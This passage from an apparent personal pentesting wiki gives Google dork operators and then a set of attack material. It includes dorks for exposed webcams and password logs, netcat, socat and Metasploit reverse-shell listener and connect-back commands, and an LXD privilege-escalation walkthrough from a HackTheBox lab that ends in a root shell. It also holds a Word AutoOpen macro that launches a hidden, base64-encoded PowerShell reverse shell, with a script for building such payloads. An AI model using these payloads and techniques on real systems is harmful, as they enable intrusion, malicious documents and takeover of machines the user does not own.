site:target[.]com ext:php inurl:?&lt;br /&gt;
site:target.tld intitle:&amp;quot;index of /&amp;quot; #  intitle:&amp;quot;index of /&amp;quot;: This searches for pages with “index of /” in their title. The “index of /” is typically shown in the title of directory listings on servers where directory browsing is enabled. It allows you to see a raw directory of files hosted on a server.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Search operators ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/chr3st5an/Google-Dorking GitHub - chr3st5an/Google-Dorking: Google Dorking Cheat Sheet]&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Operator&lt;br /&gt;
! Description&lt;br /&gt;
! Syntax&lt;br /&gt;
! Example&lt;br /&gt;
|-&lt;br /&gt;
| ()&lt;br /&gt;
| Group multiple terms or operators. Allows advanced expressions&lt;br /&gt;
| (&amp;lt;term&amp;gt; or &amp;lt;operator&amp;gt;)&lt;br /&gt;
| inurl:(html | php)&lt;br /&gt;
|-&lt;br /&gt;
| *&lt;br /&gt;
| Wildcard. Matches any word&lt;br /&gt;
| &amp;lt;text&amp;gt; * &amp;lt;text&amp;gt;&lt;br /&gt;
| How to * a computer&lt;br /&gt;
|-&lt;br /&gt;
| &amp;quot;&amp;quot;&lt;br /&gt;
| The given keyword has to match exactly. case-insensitive&lt;br /&gt;
| &amp;quot;&amp;lt;keywords&amp;gt;&amp;quot;&lt;br /&gt;
| &amp;quot;google&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| m..n / m...n&lt;br /&gt;
| Search for a range of numbers. n should be greater than m&lt;br /&gt;
| &amp;lt;number&amp;gt;..&amp;lt;number&amp;gt;&lt;br /&gt;
| 1..100&lt;br /&gt;
|-&lt;br /&gt;
| -&lt;br /&gt;
| Documents that match the operator are excluded. NOT-Operator&lt;br /&gt;
| -&amp;lt;operator&amp;gt;&lt;br /&gt;
| -site:youtube.com&lt;br /&gt;
|-&lt;br /&gt;
| +&lt;br /&gt;
| Include documents that match the operator&lt;br /&gt;
| +&amp;lt;operator&amp;gt;&lt;br /&gt;
| +site:youtube.com&lt;br /&gt;
|-&lt;br /&gt;
| |&lt;br /&gt;
| Logical OR-Operator. Only one operator needs to match in order for the overall expression to match&lt;br /&gt;
| &amp;lt;operator&amp;gt; | &amp;lt;operator&amp;gt;&lt;br /&gt;
| &amp;quot;google&amp;quot; | &amp;quot;yahoo&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| ~&lt;br /&gt;
| Search for synonyms of the given word. Not supported by Google&lt;br /&gt;
| ~&amp;lt;word&amp;gt;&lt;br /&gt;
| ~book&lt;br /&gt;
|-&lt;br /&gt;
| @&lt;br /&gt;
| Perform a search only on the given social media platform. Rather use site&lt;br /&gt;
| @&amp;lt;socialmedia&amp;gt;&lt;br /&gt;
| @instagram&lt;br /&gt;
|-&lt;br /&gt;
| after&lt;br /&gt;
| Search for documents published / indexed after the given date&lt;br /&gt;
| after:&amp;lt;yy(-mm-dd)&amp;gt;&lt;br /&gt;
| after:2020-06-03&lt;br /&gt;
|-&lt;br /&gt;
| allintitle&lt;br /&gt;
| Same as intitle but allows multiple keywords seperated by a space&lt;br /&gt;
| allintitle:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allintitle:dog cat&lt;br /&gt;
|-&lt;br /&gt;
| allinurl&lt;br /&gt;
| Same as inurl but allows multiple keywords seperated by a space&lt;br /&gt;
| allinurl:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allinurl:search com&lt;br /&gt;
|-&lt;br /&gt;
| allintext&lt;br /&gt;
| Same as intext but allows multiple keywords seperated by a space&lt;br /&gt;
| allintext:&amp;lt;keywords&amp;gt;&lt;br /&gt;
| allintext:math science university&lt;br /&gt;
|-&lt;br /&gt;
| AROUND&lt;br /&gt;
| Search for documents in which the first word is up to n words away from the second word and vice versa&lt;br /&gt;
| &amp;lt;word1&amp;gt; AROUND(&amp;lt;n&amp;gt;) &amp;lt;word2&amp;gt;&lt;br /&gt;
| google AROUND(10) good&lt;br /&gt;
|-&lt;br /&gt;
| author&lt;br /&gt;
| Search for articles written by the given author if applicable&lt;br /&gt;
| author:&amp;lt;name&amp;gt;&lt;br /&gt;
| author:Max&lt;br /&gt;
|-&lt;br /&gt;
| before&lt;br /&gt;
| Search for documents published / indexed before the given date&lt;br /&gt;
| before:&amp;lt;yy(-mm-dd)&amp;gt;&lt;br /&gt;
| before:2020-06-03&lt;br /&gt;
|-&lt;br /&gt;
| cache&lt;br /&gt;
| Search on the cached version of the given website. Uses Google&#039;s cache to do so&lt;br /&gt;
| cache:&amp;lt;domain&amp;gt;&lt;br /&gt;
| cache:google.com&lt;br /&gt;
|-&lt;br /&gt;
| contains&lt;br /&gt;
| Search for documents that link to the given fileype. Not supported by Google&lt;br /&gt;
| contains:&amp;lt;filetype&amp;gt;&lt;br /&gt;
| contains:pdf&lt;br /&gt;
|-&lt;br /&gt;
| date&lt;br /&gt;
| Search for documents published within the past n months. Not supported by Google&lt;br /&gt;
| date:&amp;lt;number&amp;gt;&lt;br /&gt;
| date:3&lt;br /&gt;
|-&lt;br /&gt;
| define&lt;br /&gt;
| Search for the definition of the given word&lt;br /&gt;
| define:&amp;lt;word&amp;gt;&lt;br /&gt;
| define:funny&lt;br /&gt;
|-&lt;br /&gt;
| ext&lt;br /&gt;
| Search for a specific filetype&lt;br /&gt;
| ext:&amp;lt;documenttype&amp;gt;&lt;br /&gt;
| ext:pdf&lt;br /&gt;
|-&lt;br /&gt;
| filetype&lt;br /&gt;
| Refer to ext&lt;br /&gt;
| filetype:&amp;lt;documenttype&amp;gt;&lt;br /&gt;
| filetype:pdf&lt;br /&gt;
|-&lt;br /&gt;
| inanchor&lt;br /&gt;
| Search for the given keyword in a website&#039;s anchors&lt;br /&gt;
| inanchor:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| inanchor:security&lt;br /&gt;
|-&lt;br /&gt;
| index of&lt;br /&gt;
| Search for documents containing direct downloads&lt;br /&gt;
| index of:&amp;lt;term&amp;gt;&lt;br /&gt;
| index of:mp4 videos&lt;br /&gt;
|-&lt;br /&gt;
| info&lt;br /&gt;
| Search for information about a website&lt;br /&gt;
| info:&amp;lt;domain&amp;gt;&lt;br /&gt;
| info:google.com&lt;br /&gt;
|-&lt;br /&gt;
| intext&lt;br /&gt;
| Keyword needs to be in the text of the document&lt;br /&gt;
| intext:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| intext:news&lt;br /&gt;
|-&lt;br /&gt;
| intitle&lt;br /&gt;
| Keyword needs to be in the title of the document&lt;br /&gt;
| intitle:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| intitle:money&lt;br /&gt;
|-&lt;br /&gt;
| inurl&lt;br /&gt;
| Keyword needs to be in the URL of the document&lt;br /&gt;
| inurl:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| inurl:sheet&lt;br /&gt;
|-&lt;br /&gt;
| link / links&lt;br /&gt;
| Search for documents whose links contain the given keyword. Useful for finding documents that link to a specific website&lt;br /&gt;
| link:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| link:google&lt;br /&gt;
|-&lt;br /&gt;
| location&lt;br /&gt;
| Show documents based on the given location&lt;br /&gt;
| location:&amp;lt;location&amp;gt;&lt;br /&gt;
| location:USA&lt;br /&gt;
|-&lt;br /&gt;
| numrange&lt;br /&gt;
| Refer to m..n&lt;br /&gt;
| numrange:&amp;lt;number&amp;gt;-&amp;lt;number&amp;gt;&lt;br /&gt;
| numrange:1-100&lt;br /&gt;
|-&lt;br /&gt;
| OR&lt;br /&gt;
| Refer to |&lt;br /&gt;
| &amp;lt;operator&amp;gt; OR &amp;lt;operator&amp;gt;&lt;br /&gt;
| &amp;quot;google&amp;quot; OR &amp;quot;yahoo&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| phonebook&lt;br /&gt;
| Search for related phone numbers associated with the given name&lt;br /&gt;
| phonebook:&amp;lt;name&amp;gt;&lt;br /&gt;
| phonebook:&amp;quot;william smith&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| relate / related&lt;br /&gt;
| Search for documents that are related to the given website&lt;br /&gt;
| relate:&amp;lt;domain&amp;gt;&lt;br /&gt;
| relate:google.com&lt;br /&gt;
|-&lt;br /&gt;
| safesearch&lt;br /&gt;
| Exclude adult content such as pornographic videos&lt;br /&gt;
| safesearch:&amp;lt;keyword&amp;gt;&lt;br /&gt;
| safesearch:sex&lt;br /&gt;
|-&lt;br /&gt;
| source&lt;br /&gt;
| Search on a specific news site. Rather use site&lt;br /&gt;
| source:&amp;lt;news&amp;gt;&lt;br /&gt;
| source:theguardian&lt;br /&gt;
|-&lt;br /&gt;
| site&lt;br /&gt;
| Search on the given site. Given argument might also be just a TLD such as com, net, etc&lt;br /&gt;
| site:&amp;lt;domain&amp;gt;&lt;br /&gt;
| site:google.com&lt;br /&gt;
|-&lt;br /&gt;
| stock&lt;br /&gt;
| Search for information about a market stock&lt;br /&gt;
| stock:&amp;lt;stock&amp;gt;&lt;br /&gt;
| stock:dax&lt;br /&gt;
|-&lt;br /&gt;
| weather&lt;br /&gt;
| Search for information about the weather of the given location&lt;br /&gt;
| weather:&amp;lt;location&amp;gt;&lt;br /&gt;
| weather:Miami&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=== Finding Valuable Information ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intitle:&amp;quot;webcamXP 5&amp;quot; | inurl:&amp;quot;lvappl.htm&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find open/public webcams&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intext:password ext:log&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find log documents wich have the string &amp;quot;password&amp;quot; in it&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
inurl:/proc/self/cwd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find vulnerable webservers&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
inurl:email.xls ext:xls&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find excel documents that contain email addresses&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
index of:mp3 intext:.mp3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Find mp3 (music) documents&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
intext:&amp;quot;index of /&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Finding indexed files&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Listener ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# ATTENTION&lt;br /&gt;
# Some target machines might block the port you&#039;ve choosen to use as listening port. If you dont get a connection, try changing the port to some standard ports like 80, 443, 445 etc.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Metasploit ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
use exploit/multi/handler&lt;br /&gt;
set PAYLOAD&lt;br /&gt;
set LHOST&lt;br /&gt;
set LPORT&lt;br /&gt;
set ExitOnSession false&lt;br /&gt;
exploit -j -z&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Netcat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Listen on port&lt;br /&gt;
nc -lvnp&lt;br /&gt;
# Use rlwrap for better shell on Windows&lt;br /&gt;
rlwrap nc -lvnp&lt;br /&gt;
# Connect to port&lt;br /&gt;
nc -nv&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Socat ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Basic listener&lt;br /&gt;
socat TCP-L: -&lt;br /&gt;
# Windows connect back&lt;br /&gt;
socat TCP::&lt;br /&gt;
EXEC:powershell.exe,pipes&lt;br /&gt;
# Linux connect back&lt;br /&gt;
socat TCP:: EXEC:&amp;quot;bash -li&amp;quot;&lt;br /&gt;
# Encrypted shell - Basic listener&lt;br /&gt;
https://blog.aghanim.net/?p=1043#Socat_encrypted_shells&lt;br /&gt;
socat OPENSSL-LISTEN:,cert=shell.pem,verify=0 –&lt;br /&gt;
# Connect back&lt;br /&gt;
socat OPENSSL::,verify=0 EXEC:/bin/bash&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== LXD - Privilege escalation ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation]&lt;br /&gt;
&lt;br /&gt;
Step 1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]&lt;br /&gt;
└─# sudo /root/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.8&lt;br /&gt;
┌──(rootkali)-[/home/…/HTB/tabby/containerimages/alpine]&lt;br /&gt;
└─# ls&lt;br /&gt;
alpine.yaml  lxd.tar.xz  rootfs.squashfs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 2&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ wget http://10.10.14.18:9000/lxd.tar.xz&lt;br /&gt;
--2022-02-10 14:04:26--  http://10.10.14.18:9000/lxd.tar.xz&lt;br /&gt;
Connecting to 10.10.14.18:9000... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: 844 [application/x-xz]&lt;br /&gt;
Saving to: ‘lxd.tar.xz’&lt;br /&gt;
lxd.tar.xz          100%[===================&amp;gt;]     844  --.-KB/s    in 0s&lt;br /&gt;
2022-02-10 14:04:26 (105 MB/s) - ‘lxd.tar.xz’ saved [844/844]&lt;br /&gt;
ash@tabby:~$ wget http://10.10.14.18:9000/rootfs.squashfs&lt;br /&gt;
--2022-02-10 14:04:36--  http://10.10.14.18:9000/rootfs.squashfs&lt;br /&gt;
Connecting to 10.10.14.18:9000... connected.&lt;br /&gt;
HTTP request sent, awaiting response... 200 OK&lt;br /&gt;
Length: 2052096 (2.0M) [application/octet-stream]&lt;br /&gt;
Saving to: ‘rootfs.squashfs’&lt;br /&gt;
rootfs.squashfs     100%[===================&amp;gt;]   1.96M  4.02MB/s    in 0.5s&lt;br /&gt;
2022-02-10 14:04:37 (4.02 MB/s) - ‘rootfs.squashfs’ saved [2052096/2052096]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 3&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc image import lxd.tar.xz rootfs.squashfs --alias alpine&lt;br /&gt;
ash@tabby:~$ lxc image list&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
| ALIAS  | FINGERPRINT  | PUBLIC |              DESCRIPTION               | ARCHITECTURE |   TYPE    |  SIZE  |         UPLOAD DATE          |&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
| alpine | 9c716211a82e | no     | Alpinelinux 3.8 x86_64 (20220210_1356) | x86_64       | CONTAINER | 1.96MB | Feb 10, 2022 at 2:04pm (UTC) |&lt;br /&gt;
+--------+--------------+--------+----------------------------------------+--------------+-----------+--------+------------------------------+&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 4&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
Error: No storage pool found. Please create a new storage pool&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Fix no storage pool found with lxd init ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]: ye^H^H^H^H^C&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]:&lt;br /&gt;
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes&lt;br /&gt;
Name of the new storage pool [default=default]: h^Hhel^H^H^[^H^C&lt;br /&gt;
ash@tabby:~$ lxd init&lt;br /&gt;
Would you like to use LXD clustering? (yes/no) [default=no]:&lt;br /&gt;
Do you want to configure a new storage pool? (yes/no) [default=yes]: yes&lt;br /&gt;
Name of the new storage pool [default=default]: hello&lt;br /&gt;
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]: z^H&lt;br /&gt;
Invalid input, try again.&lt;br /&gt;
Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]:&lt;br /&gt;
Create a new ZFS pool? (yes/no) [default=yes]: yes^H^H&lt;br /&gt;
Invalid input, try again.&lt;br /&gt;
Create a new ZFS pool? (yes/no) [default=yes]:&lt;br /&gt;
Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:&lt;br /&gt;
Size in GB of the new loop device (1GB minimum) [default=5GB]:&lt;br /&gt;
Would you like to connect to a MAAS server? (yes/no) [default=no]:&lt;br /&gt;
Would you like to create a new local network bridge? (yes/no) [default=yes]:&lt;br /&gt;
What should the new bridge be called? [default=lxdbr0]:&lt;br /&gt;
What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:&lt;br /&gt;
What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:&lt;br /&gt;
Would you like the LXD server to be available over the network? (yes/no) [default=no]:&lt;br /&gt;
Would you like stale cached images to be updated automatically? (yes/no) [default=yes]&lt;br /&gt;
Would you like a YAML &amp;quot;lxd init&amp;quot; preseed to be printed? (yes/no) [default=no]:&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 5&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc init alpine privesc -c security.privileged=true&lt;br /&gt;
Creating privesc&lt;br /&gt;
ash@tabby:~$ lxc list&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
|  NAME   |  STATE  | IPV4 | IPV6 |   TYPE    | SNAPSHOTS |&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
| privesc | STOPPED |      |      | CONTAINER | 0         |&lt;br /&gt;
+---------+---------+------+------+-----------+-----------+&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Step 6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ash@tabby:~$ lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true&lt;br /&gt;
Device host-root added to privesc&lt;br /&gt;
ash@tabby:~$ lxc start privesc&lt;br /&gt;
ash@tabby:~$ lxc exec privesc /bin/sh&lt;br /&gt;
~ # id&lt;br /&gt;
uid=0(root) gid=0(root)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Macro ==&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Word ===&lt;br /&gt;
&lt;br /&gt;
Word file must be saved as .doc or .docm since they support embedded macro. .docx wont work.&lt;br /&gt;
&lt;br /&gt;
When transferring the .doc or .docm remember to either ZIP the dociment or use tftp, otherwise the macro might be lost.&lt;br /&gt;
&lt;br /&gt;
Remember to set Macro in the document, otherwise it will only work locally.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-09-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Open Word --&amp;gt; View --&amp;gt; Macro --&amp;gt; Show Macro --&amp;gt; Create&lt;br /&gt;
# The below script will send a reverse shell powershell command&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim Str As String&lt;br /&gt;
Str = &amp;quot;powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZ&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;QB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQB&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;TAHQAcgBlAGEAbQAoACwAWwBDAG8AbgB2AGUAcgB0AF0AOgA6A&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;EYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEg&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;ANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEATAAxAFgANgAyACsAY&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;gBTAEIARAAvAG4ARQBqADUASAAvAGgAZwBDAFoAQwBJAFoAUgB&amp;quot;&lt;br /&gt;
...&lt;br /&gt;
Str = Str + &amp;quot;AZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0Ac&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;AByAGUAcwBzACkADQAKACQAcwB0AHIAZQBhAG0AIAA9ACAATgB&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;lAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtA&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;FIAZQBhAGQAZQByACgAJABnAHoAaQBwACkADQAKAGkAZQB4ACA&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;AJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAVABvAEUAbgBkACgAK&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;QA=&amp;quot;&lt;br /&gt;
CreateObject(&amp;quot;Wscript.Shell&amp;quot;).Run Str&lt;br /&gt;
End Sub&lt;br /&gt;
------------------------&lt;br /&gt;
# Script to generate Str = Str + payloads. Generate a payload with revshells.com and &#039;Powershell#3 Base64&#039;&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/Reverse-Shell-From-Word-Document]&lt;br /&gt;
└─# cat payload.py&lt;br /&gt;
str=&amp;quot;powershell -e JABjAGwAaQBlAG4AdAAgAD...&amp;quot;&lt;br /&gt;
n=50&lt;br /&gt;
for i in range(0,len(str),n):&lt;br /&gt;
    print(&amp;quot;Str = str+&amp;quot; + &#039;&amp;quot;&#039; + str[i:i+n] +&#039;&amp;quot;&#039;)&lt;br /&gt;
&lt;br /&gt;
...................................&lt;br /&gt;
# The below script will ping target.&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    CreateObject(&amp;quot;Wscript.Shell&amp;quot;).Run &amp;quot;Ping.exe -t 192.168.119.182&amp;quot;&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== LibreOffice Basic ===&lt;br /&gt;
&lt;br /&gt;
===  ===&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-Pasted-image-20220704111937.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-Pasted-image-20220704111909.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Make sure this macro is run when the document is opened. Close the macro editors, and back in the document, go to Tools –&amp;gt; Customize and select Open Document.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Title&lt;br /&gt;
! URL&lt;br /&gt;
! Short Description&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Monitor Processes ==&lt;br /&gt;
&lt;br /&gt;
=== Process Explorer ===&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer Process Explorer - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose:&#039;&#039;&#039; Process Explorer is a task manager and system monitoring utility. It provides detailed information about running processes, their resource usage, and the relationship between processes.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Real-time monitoring of active processes, threads, and modules.&lt;br /&gt;
&lt;br /&gt;
* Hierarchical view of processes, showing parent-child relationships.&lt;br /&gt;
&lt;br /&gt;
* Detailed information about process properties, memory usage, and CPU utilization.&lt;br /&gt;
&lt;br /&gt;
* Identification of the processes responsible for specific open handles or DLLs.&lt;br /&gt;
&lt;br /&gt;
* Capabilities to suspend, terminate, or explore processes.&lt;br /&gt;
&lt;br /&gt;
* Integration with VirusTotal to scan processes for malware.&lt;br /&gt;
&lt;br /&gt;
